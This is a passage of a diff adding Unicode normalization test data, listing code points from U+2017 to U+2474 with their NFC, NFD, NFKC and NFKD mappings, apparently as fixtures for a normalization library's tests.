+{ source: [0x2017], NFC: [0x2017], NFD: [0x2017], NFKC: [0x0020, 0x0333], NFKD: [0x0020, 0x0333] },
+{ source: [0x2024], NFC: [0x2024], NFD: [0x2024], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0x2025], NFC: [0x2025], NFD: [0x2025], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0x2026], NFC: [0x2026], NFD: [0x2026], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0x202F], NFC: [0x202F], NFD: [0x202F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2033], NFC: [0x2033], NFD: [0x2033], NFKC: [0x2032, 0x2032], NFKD: [0x2032, 0x2032] },
+{ source: [0x2034], NFC: [0x2034], NFD: [0x2034], NFKC: [0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032] },
+{ source: [0x2036], NFC: [0x2036], NFD: [0x2036], NFKC: [0x2035, 0x2035], NFKD: [0x2035, 0x2035] },
+{ source: [0x2037], NFC: [0x2037], NFD: [0x2037], NFKC: [0x2035, 0x2035, 0x2035], NFKD: [0x2035, 0x2035, 0x2035] },
+{ source: [0x203C], NFC: [0x203C], NFD: [0x203C], NFKC: [0x0021, 0x0021], NFKD: [0x0021, 0x0021] },
+{ source: [0x203E], NFC: [0x203E], NFD: [0x203E], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0x2047], NFC: [0x2047], NFD: [0x2047], NFKC: [0x003F, 0x003F], NFKD: [0x003F, 0x003F] },
+{ source: [0x2048], NFC: [0x2048], NFD: [0x2048], NFKC: [0x003F, 0x0021], NFKD: [0x003F, 0x0021] },
+{ source: [0x2049], NFC: [0x2049], NFD: [0x2049], NFKC: [0x0021, 0x003F], NFKD: [0x0021, 0x003F] },
+{ source: [0x2057], NFC: [0x2057], NFD: [0x2057], NFKC: [0x2032, 0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032, 0x2032] },
+{ source: [0x205F], NFC: [0x205F], NFD: [0x205F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2070], NFC: [0x2070], NFD: [0x2070], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2071], NFC: [0x2071], NFD: [0x2071], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2074], NFC: [0x2074], NFD: [0x2074], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2075], NFC: [0x2075], NFD: [0x2075], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2076], NFC: [0x2076], NFD: [0x2076], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2077], NFC: [0x2077], NFD: [0x2077], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2078], NFC: [0x2078], NFD: [0x2078], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2079], NFC: [0x2079], NFD: [0x2079], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x207A], NFC: [0x207A], NFD: [0x207A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x207B], NFC: [0x207B], NFD: [0x207B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x207C], NFC: [0x207C], NFD: [0x207C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x207D], NFC: [0x207D], NFD: [0x207D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x207E], NFC: [0x207E], NFD: [0x207E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x207F], NFC: [0x207F], NFD: [0x207F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x2080], NFC: [0x2080], NFD: [0x2080], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2081], NFC: [0x2081], NFD: [0x2081], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2082], NFC: [0x2082], NFD: [0x2082], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2083], NFC: [0x2083], NFD: [0x2083], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x2084], NFC: [0x2084], NFD: [0x2084], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2085], NFC: [0x2085], NFD: [0x2085], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2086], NFC: [0x2086], NFD: [0x2086], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2087], NFC: [0x2087], NFD: [0x2087], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2088], NFC: [0x2088], NFD: [0x2088], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2089], NFC: [0x2089], NFD: [0x2089], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x208A], NFC: [0x208A], NFD: [0x208A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x208B], NFC: [0x208B], NFD: [0x208B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x208C], NFC: [0x208C], NFD: [0x208C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x208D], NFC: [0x208D], NFD: [0x208D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x208E], NFC: [0x208E], NFD: [0x208E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x2090], NFC: [0x2090], NFD: [0x2090], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x2091], NFC: [0x2091], NFD: [0x2091], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2092], NFC: [0x2092], NFD: [0x2092], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2093], NFC: [0x2093], NFD: [0x2093], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x2094], NFC: [0x2094], NFD: [0x2094], NFKC: [0x0259], NFKD: [0x0259] },
+{ source: [0x2095], NFC: [0x2095], NFD: [0x2095], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x2096], NFC: [0x2096], NFD: [0x2096], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x2097], NFC: [0x2097], NFD: [0x2097], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2098], NFC: [0x2098], NFD: [0x2098], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2099], NFC: [0x2099], NFD: [0x2099], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x209A], NFC: [0x209A], NFD: [0x209A], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x209B], NFC: [0x209B], NFD: [0x209B], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x209C], NFC: [0x209C], NFD: [0x209C], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x20A8], NFC: [0x20A8], NFD: [0x20A8], NFKC: [0x0052, 0x0073], NFKD: [0x0052, 0x0073] },
+{ source: [0x2100], NFC: [0x2100], NFD: [0x2100], NFKC: [0x0061, 0x002F, 0x0063], NFKD: [0x0061, 0x002F, 0x0063] },
+{ source: [0x2101], NFC: [0x2101], NFD: [0x2101], NFKC: [0x0061, 0x002F, 0x0073], NFKD: [0x0061, 0x002F, 0x0073] },
+{ source: [0x2102], NFC: [0x2102], NFD: [0x2102], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x2103], NFC: [0x2103], NFD: [0x2103], NFKC: [0x00B0, 0x0043], NFKD: [0x00B0, 0x0043] },
+{ source: [0x2105], NFC: [0x2105], NFD: [0x2105], NFKC: [0x0063, 0x002F, 0x006F], NFKD: [0x0063, 0x002F, 0x006F] },
+{ source: [0x2106], NFC: [0x2106], NFD: [0x2106], NFKC: [0x0063, 0x002F, 0x0075], NFKD: [0x0063, 0x002F, 0x0075] },
+{ source: [0x2107], NFC: [0x2107], NFD: [0x2107], NFKC: [0x0190], NFKD: [0x0190] },
+{ source: [0x2109], NFC: [0x2109], NFD: [0x2109], NFKC: [0x00B0, 0x0046], NFKD: [0x00B0, 0x0046] },
+{ source: [0x210A], NFC: [0x210A], NFD: [0x210A], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x210B], NFC: [0x210B], NFD: [0x210B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210C], NFC: [0x210C], NFD: [0x210C], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210D], NFC: [0x210D], NFD: [0x210D], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210E], NFC: [0x210E], NFD: [0x210E], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x210F], NFC: [0x210F], NFD: [0x210F], NFKC: [0x0127], NFKD: [0x0127] },
+{ source: [0x2110], NFC: [0x2110], NFD: [0x2110], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2111], NFC: [0x2111], NFD: [0x2111], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2112], NFC: [0x2112], NFD: [0x2112], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x2113], NFC: [0x2113], NFD: [0x2113], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2115], NFC: [0x2115], NFD: [0x2115], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x2116], NFC: [0x2116], NFD: [0x2116], NFKC: [0x004E, 0x006F], NFKD: [0x004E, 0x006F] },
+{ source: [0x2119], NFC: [0x2119], NFD: [0x2119], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x211A], NFC: [0x211A], NFD: [0x211A], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x211B], NFC: [0x211B], NFD: [0x211B], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211C], NFC: [0x211C], NFD: [0x211C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211D], NFC: [0x211D], NFD: [0x211D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x2120], NFC: [0x2120], NFD: [0x2120], NFKC: [0x0053, 0x004D], NFKD: [0x0053, 0x004D] },
+{ source: [0x2121], NFC: [0x2121], NFD: [0x2121], NFKC: [0x0054, 0x0045, 0x004C], NFKD: [0x0054, 0x0045, 0x004C] },
+{ source: [0x2122], NFC: [0x2122], NFD: [0x2122], NFKC: [0x0054, 0x004D], NFKD: [0x0054, 0x004D] },
+{ source: [0x2124], NFC: [0x2124], NFD: [0x2124], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x2126], NFC: [0x03A9], NFD: [0x03A9], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x2128], NFC: [0x2128], NFD: [0x2128], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x212A], NFC: [0x004B], NFD: [0x004B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x212B], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x212C], NFC: [0x212C], NFD: [0x212C], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x212D], NFC: [0x212D], NFD: [0x212D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x212F], NFC: [0x212F], NFD: [0x212F], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2130], NFC: [0x2130], NFD: [0x2130], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x2131], NFC: [0x2131], NFD: [0x2131], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x2133], NFC: [0x2133], NFD: [0x2133], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2134], NFC: [0x2134], NFD: [0x2134], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2135], NFC: [0x2135], NFD: [0x2135], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0x2136], NFC: [0x2136], NFD: [0x2136], NFKC: [0x05D1], NFKD: [0x05D1] },
+{ source: [0x2137], NFC: [0x2137], NFD: [0x2137], NFKC: [0x05D2], NFKD: [0x05D2] },
+{ source: [0x2138], NFC: [0x2138], NFD: [0x2138], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0x2139], NFC: [0x2139], NFD: [0x2139], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x213B], NFC: [0x213B], NFD: [0x213B], NFKC: [0x0046, 0x0041, 0x0058], NFKD: [0x0046, 0x0041, 0x0058] },
+{ source: [0x213C], NFC: [0x213C], NFD: [0x213C], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x213D], NFC: [0x213D], NFD: [0x213D], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x213E], NFC: [0x213E], NFD: [0x213E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x213F], NFC: [0x213F], NFD: [0x213F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x2140], NFC: [0x2140], NFD: [0x2140], NFKC: [0x2211], NFKD: [0x2211] },
+{ source: [0x2145], NFC: [0x2145], NFD: [0x2145], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x2146], NFC: [0x2146], NFD: [0x2146], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x2147], NFC: [0x2147], NFD: [0x2147], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2148], NFC: [0x2148], NFD: [0x2148], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2149], NFC: [0x2149], NFD: [0x2149], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2150], NFC: [0x2150], NFD: [0x2150], NFKC: [0x0031, 0x2044, 0x0037], NFKD: [0x0031, 0x2044, 0x0037] },
+{ source: [0x2151], NFC: [0x2151], NFD: [0x2151], NFKC: [0x0031, 0x2044, 0x0039], NFKD: [0x0031, 0x2044, 0x0039] },
+{ source: [0x2152], NFC: [0x2152], NFD: [0x2152], NFKC: [0x0031, 0x2044, 0x0031, 0x0030], NFKD: [0x0031, 0x2044, 0x0031, 0x0030] },
+{ source: [0x2153], NFC: [0x2153], NFD: [0x2153], NFKC: [0x0031, 0x2044, 0x0033], NFKD: [0x0031, 0x2044, 0x0033] },
+{ source: [0x2154], NFC: [0x2154], NFD: [0x2154], NFKC: [0x0032, 0x2044, 0x0033], NFKD: [0x0032, 0x2044, 0x0033] },
+{ source: [0x2155], NFC: [0x2155], NFD: [0x2155], NFKC: [0x0031, 0x2044, 0x0035], NFKD: [0x0031, 0x2044, 0x0035] },
+{ source: [0x2156], NFC: [0x2156], NFD: [0x2156], NFKC: [0x0032, 0x2044, 0x0035], NFKD: [0x0032, 0x2044, 0x0035] },
+{ source: [0x2157], NFC: [0x2157], NFD: [0x2157], NFKC: [0x0033, 0x2044, 0x0035], NFKD: [0x0033, 0x2044, 0x0035] },
+{ source: [0x2158], NFC: [0x2158], NFD: [0x2158], NFKC: [0x0034, 0x2044, 0x0035], NFKD: [0x0034, 0x2044, 0x0035] },
+{ source: [0x2159], NFC: [0x2159], NFD: [0x2159], NFKC: [0x0031, 0x2044, 0x0036], NFKD: [0x0031, 0x2044, 0x0036] },
+{ source: [0x215A], NFC: [0x215A], NFD: [0x215A], NFKC: [0x0035, 0x2044, 0x0036], NFKD: [0x0035, 0x2044, 0x0036] },
+{ source: [0x215B], NFC: [0x215B], NFD: [0x215B], NFKC: [0x0031, 0x2044, 0x0038], NFKD: [0x0031, 0x2044, 0x0038] },
+{ source: [0x215C], NFC: [0x215C], NFD: [0x215C], NFKC: [0x0033, 0x2044, 0x0038], NFKD: [0x0033, 0x2044, 0x0038] },
+{ source: [0x215D], NFC: [0x215D], NFD: [0x215D], NFKC: [0x0035, 0x2044, 0x0038], NFKD: [0x0035, 0x2044, 0x0038] },
+{ source: [0x215E], NFC: [0x215E], NFD: [0x215E], NFKC: [0x0037, 0x2044, 0x0038], NFKD: [0x0037, 0x2044, 0x0038] },
+{ source: [0x215F], NFC: [0x215F], NFD: [0x215F], NFKC: [0x0031, 0x2044], NFKD: [0x0031, 0x2044] },
+{ source: [0x2160], NFC: [0x2160], NFD: [0x2160], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2161], NFC: [0x2161], NFD: [0x2161], NFKC: [0x0049, 0x0049], NFKD: [0x0049, 0x0049] },
+{ source: [0x2162], NFC: [0x2162], NFD: [0x2162], NFKC: [0x0049, 0x0049, 0x0049], NFKD: [0x0049, 0x0049, 0x0049] },
+{ source: [0x2163], NFC: [0x2163], NFD: [0x2163], NFKC: [0x0049, 0x0056], NFKD: [0x0049, 0x0056] },
+{ source: [0x2164], NFC: [0x2164], NFD: [0x2164], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2165], NFC: [0x2165], NFD: [0x2165], NFKC: [0x0056, 0x0049], NFKD: [0x0056, 0x0049] },
+{ source: [0x2166], NFC: [0x2166], NFD: [0x2166], NFKC: [0x0056, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049] },
+{ source: [0x2167], NFC: [0x2167], NFD: [0x2167], NFKC: [0x0056, 0x0049, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049, 0x0049] },
+{ source: [0x2168], NFC: [0x2168], NFD: [0x2168], NFKC: [0x0049, 0x0058], NFKD: [0x0049, 0x0058] },
+{ source: [0x2169], NFC: [0x2169], NFD: [0x2169], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x216A], NFC: [0x216A], NFD: [0x216A], NFKC: [0x0058, 0x0049], NFKD: [0x0058, 0x0049] },
+{ source: [0x216B], NFC: [0x216B], NFD: [0x216B], NFKC: [0x0058, 0x0049, 0x0049], NFKD: [0x0058, 0x0049, 0x0049] },
+{ source: [0x216C], NFC: [0x216C], NFD: [0x216C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x216D], NFC: [0x216D], NFD: [0x216D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x216E], NFC: [0x216E], NFD: [0x216E], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x216F], NFC: [0x216F], NFD: [0x216F], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2170], NFC: [0x2170], NFD: [0x2170], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2171], NFC: [0x2171], NFD: [0x2171], NFKC: [0x0069, 0x0069], NFKD: [0x0069, 0x0069] },
+{ source: [0x2172], NFC: [0x2172], NFD: [0x2172], NFKC: [0x0069, 0x0069, 0x0069], NFKD: [0x0069, 0x0069, 0x0069] },
+{ source: [0x2173], NFC: [0x2173], NFD: [0x2173], NFKC: [0x0069, 0x0076], NFKD: [0x0069, 0x0076] },
+{ source: [0x2174], NFC: [0x2174], NFD: [0x2174], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x2175], NFC: [0x2175], NFD: [0x2175], NFKC: [0x0076, 0x0069], NFKD: [0x0076, 0x0069] },
+{ source: [0x2176], NFC: [0x2176], NFD: [0x2176], NFKC: [0x0076, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069] },
+{ source: [0x2177], NFC: [0x2177], NFD: [0x2177], NFKC: [0x0076, 0x0069, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069, 0x0069] },
+{ source: [0x2178], NFC: [0x2178], NFD: [0x2178], NFKC: [0x0069, 0x0078], NFKD: [0x0069, 0x0078] },
+{ source: [0x2179], NFC: [0x2179], NFD: [0x2179], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x217A], NFC: [0x217A], NFD: [0x217A], NFKC: [0x0078, 0x0069], NFKD: [0x0078, 0x0069] },
+{ source: [0x217B], NFC: [0x217B], NFD: [0x217B], NFKC: [0x0078, 0x0069, 0x0069], NFKD: [0x0078, 0x0069, 0x0069] },
+{ source: [0x217C], NFC: [0x217C], NFD: [0x217C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x217D], NFC: [0x217D], NFD: [0x217D], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x217E], NFC: [0x217E], NFD: [0x217E], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x217F], NFC: [0x217F], NFD: [0x217F], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2189], NFC: [0x2189], NFD: [0x2189], NFKC: [0x0030, 0x2044, 0x0033], NFKD: [0x0030, 0x2044, 0x0033] },
+{ source: [0x219A], NFC: [0x219A], NFD: [0x2190, 0x0338], NFKC: [0x219A], NFKD: [0x2190, 0x0338] },
+{ source: [0x219B], NFC: [0x219B], NFD: [0x2192, 0x0338], NFKC: [0x219B], NFKD: [0x2192, 0x0338] },
+{ source: [0x21AE], NFC: [0x21AE], NFD: [0x2194, 0x0338], NFKC: [0x21AE], NFKD: [0x2194, 0x0338] },
+{ source: [0x21CD], NFC: [0x21CD], NFD: [0x21D0, 0x0338], NFKC: [0x21CD], NFKD: [0x21D0, 0x0338] },
+{ source: [0x21CE], NFC: [0x21CE], NFD: [0x21D4, 0x0338], NFKC: [0x21CE], NFKD: [0x21D4, 0x0338] },
+{ source: [0x21CF], NFC: [0x21CF], NFD: [0x21D2, 0x0338], NFKC: [0x21CF], NFKD: [0x21D2, 0x0338] },
+{ source: [0x2204], NFC: [0x2204], NFD: [0x2203, 0x0338], NFKC: [0x2204], NFKD: [0x2203, 0x0338] },
+{ source: [0x2209], NFC: [0x2209], NFD: [0x2208, 0x0338], NFKC: [0x2209], NFKD: [0x2208, 0x0338] },
+{ source: [0x220C], NFC: [0x220C], NFD: [0x220B, 0x0338], NFKC: [0x220C], NFKD: [0x220B, 0x0338] },
+{ source: [0x2224], NFC: [0x2224], NFD: [0x2223, 0x0338], NFKC: [0x2224], NFKD: [0x2223, 0x0338] },
+{ source: [0x2226], NFC: [0x2226], NFD: [0x2225, 0x0338], NFKC: [0x2226], NFKD: [0x2225, 0x0338] },
+{ source: [0x222C], NFC: [0x222C], NFD: [0x222C], NFKC: [0x222B, 0x222B], NFKD: [0x222B, 0x222B] },
+{ source: [0x222D], NFC: [0x222D], NFD: [0x222D], NFKC: [0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B] },
+{ source: [0x222F], NFC: [0x222F], NFD: [0x222F], NFKC: [0x222E, 0x222E], NFKD: [0x222E, 0x222E] },
+{ source: [0x2230], NFC: [0x2230], NFD: [0x2230], NFKC: [0x222E, 0x222E, 0x222E], NFKD: [0x222E, 0x222E, 0x222E] },
+{ source: [0x2241], NFC: [0x2241], NFD: [0x223C, 0x0338], NFKC: [0x2241], NFKD: [0x223C, 0x0338] },
+{ source: [0x2244], NFC: [0x2244], NFD: [0x2243, 0x0338], NFKC: [0x2244], NFKD: [0x2243, 0x0338] },
+{ source: [0x2247], NFC: [0x2247], NFD: [0x2245, 0x0338], NFKC: [0x2247], NFKD: [0x2245, 0x0338] },
+{ source: [0x2249], NFC: [0x2249], NFD: [0x2248, 0x0338], NFKC: [0x2249], NFKD: [0x2248, 0x0338] },
+{ source: [0x2260], NFC: [0x2260], NFD: [0x003D, 0x0338], NFKC: [0x2260], NFKD: [0x003D, 0x0338] },
+{ source: [0x2262], NFC: [0x2262], NFD: [0x2261, 0x0338], NFKC: [0x2262], NFKD: [0x2261, 0x0338] },
+{ source: [0x226D], NFC: [0x226D], NFD: [0x224D, 0x0338], NFKC: [0x226D], NFKD: [0x224D, 0x0338] },
+{ source: [0x226E], NFC: [0x226E], NFD: [0x003C, 0x0338], NFKC: [0x226E], NFKD: [0x003C, 0x0338] },
+{ source: [0x226F], NFC: [0x226F], NFD: [0x003E, 0x0338], NFKC: [0x226F], NFKD: [0x003E, 0x0338] },
+{ source: [0x2270], NFC: [0x2270], NFD: [0x2264, 0x0338], NFKC: [0x2270], NFKD: [0x2264, 0x0338] },
+{ source: [0x2271], NFC: [0x2271], NFD: [0x2265, 0x0338], NFKC: [0x2271], NFKD: [0x2265, 0x0338] },
+{ source: [0x2274], NFC: [0x2274], NFD: [0x2272, 0x0338], NFKC: [0x2274], NFKD: [0x2272, 0x0338] },
+{ source: [0x2275], NFC: [0x2275], NFD: [0x2273, 0x0338], NFKC: [0x2275], NFKD: [0x2273, 0x0338] },
+{ source: [0x2278], NFC: [0x2278], NFD: [0x2276, 0x0338], NFKC: [0x2278], NFKD: [0x2276, 0x0338] },
+{ source: [0x2279], NFC: [0x2279], NFD: [0x2277, 0x0338], NFKC: [0x2279], NFKD: [0x2277, 0x0338] },
+{ source: [0x2280], NFC: [0x2280], NFD: [0x227A, 0x0338], NFKC: [0x2280], NFKD: [0x227A, 0x0338] },
+{ source: [0x2281], NFC: [0x2281], NFD: [0x227B, 0x0338], NFKC: [0x2281], NFKD: [0x227B, 0x0338] },
+{ source: [0x2284], NFC: [0x2284], NFD: [0x2282, 0x0338], NFKC: [0x2284], NFKD: [0x2282, 0x0338] },
+{ source: [0x2285], NFC: [0x2285], NFD: [0x2283, 0x0338], NFKC: [0x2285], NFKD: [0x2283, 0x0338] },
+{ source: [0x2288], NFC: [0x2288], NFD: [0x2286, 0x0338], NFKC: [0x2288], NFKD: [0x2286, 0x0338] },
+{ source: [0x2289], NFC: [0x2289], NFD: [0x2287, 0x0338], NFKC: [0x2289], NFKD: [0x2287, 0x0338] },
+{ source: [0x22AC], NFC: [0x22AC], NFD: [0x22A2, 0x0338], NFKC: [0x22AC], NFKD: [0x22A2, 0x0338] },
+{ source: [0x22AD], NFC: [0x22AD], NFD: [0x22A8, 0x0338], NFKC: [0x22AD], NFKD: [0x22A8, 0x0338] },
+{ source: [0x22AE], NFC: [0x22AE], NFD: [0x22A9, 0x0338], NFKC: [0x22AE], NFKD: [0x22A9, 0x0338] },
+{ source: [0x22AF], NFC: [0x22AF], NFD: [0x22AB, 0x0338], NFKC: [0x22AF], NFKD: [0x22AB, 0x0338] },
+{ source: [0x22E0], NFC: [0x22E0], NFD: [0x227C, 0x0338], NFKC: [0x22E0], NFKD: [0x227C, 0x0338] },
+{ source: [0x22E1], NFC: [0x22E1], NFD: [0x227D, 0x0338], NFKC: [0x22E1], NFKD: [0x227D, 0x0338] },
+{ source: [0x22E2], NFC: [0x22E2], NFD: [0x2291, 0x0338], NFKC: [0x22E2], NFKD: [0x2291, 0x0338] },
+{ source: [0x22E3], NFC: [0x22E3], NFD: [0x2292, 0x0338], NFKC: [0x22E3], NFKD: [0x2292, 0x0338] },
+{ source: [0x22EA], NFC: [0x22EA], NFD: [0x22B2, 0x0338], NFKC: [0x22EA], NFKD: [0x22B2, 0x0338] },
+{ source: [0x22EB], NFC: [0x22EB], NFD: [0x22B3, 0x0338], NFKC: [0x22EB], NFKD: [0x22B3, 0x0338] },
+{ source: [0x22EC], NFC: [0x22EC], NFD: [0x22B4, 0x0338], NFKC: [0x22EC], NFKD: [0x22B4, 0x0338] },
+{ source: [0x22ED], NFC: [0x22ED], NFD: [0x22B5, 0x0338], NFKC: [0x22ED], NFKD: [0x22B5, 0x0338] },
+{ source: [0x2329], NFC: [0x3008], NFD: [0x3008], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0x232A], NFC: [0x3009], NFD: [0x3009], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0x2460], NFC: [0x2460], NFD: [0x2460], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2461], NFC: [0x2461], NFD: [0x2461], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2462], NFC: [0x2462], NFD: [0x2462], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x2463], NFC: [0x2463], NFD: [0x2463], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2464], NFC: [0x2464], NFD: [0x2464], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2465], NFC: [0x2465], NFD: [0x2465], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2466], NFC: [0x2466], NFD: [0x2466], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2467], NFC: [0x2467], NFD: [0x2467], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2468], NFC: [0x2468], NFD: [0x2468], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x2469], NFC: [0x2469], NFD: [0x2469], NFKC: [0x0031, 0x0030], NFKD: [0x0031, 0x0030] },
+{ source: [0x246A], NFC: [0x246A], NFD: [0x246A], NFKC: [0x0031, 0x0031], NFKD: [0x0031, 0x0031] },
+{ source: [0x246B], NFC: [0x246B], NFD: [0x246B], NFKC: [0x0031, 0x0032], NFKD: [0x0031, 0x0032] },
+{ source: [0x246C], NFC: [0x246C], NFD: [0x246C], NFKC: [0x0031, 0x0033], NFKD: [0x0031, 0x0033] },
+{ source: [0x246D], NFC: [0x246D], NFD: [0x246D], NFKC: [0x0031, 0x0034], NFKD: [0x0031, 0x0034] },
+{ source: [0x246E], NFC: [0x246E], NFD: [0x246E], NFKC: [0x0031, 0x0035], NFKD: [0x0031, 0x0035] },
+{ source: [0x246F], NFC: [0x246F], NFD: [0x246F], NFKC: [0x0031, 0x0036], NFKD: [0x0031, 0x0036] },
+{ source: [0x2470], NFC: [0x2470], NFD: [0x2470], NFKC: [0x0031, 0x0037], NFKD: [0x0031, 0x0037] },
+{ source: [0x2471], NFC: [0x2471], NFD: [0x2471], NFKC: [0x0031, 0x0038], NFKD: [0x0031, 0x0038] },
+{ source: [0x2472], NFC: [0x2472], NFD: [0x2472], NFKC: [0x0031, 0x0039], NFKD: [0x0031, 0x0039] },
+{ source: [0x2473], NFC: [0x2473], NFD: [0x2473], NFKC: [0x0032, 0x0030], NFKD: [0x0032, 0x0030] },
+{ source: [0x2474], NFC: [0x2474], NFD: [0x2474], NFKC: [0x0028, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0029] },
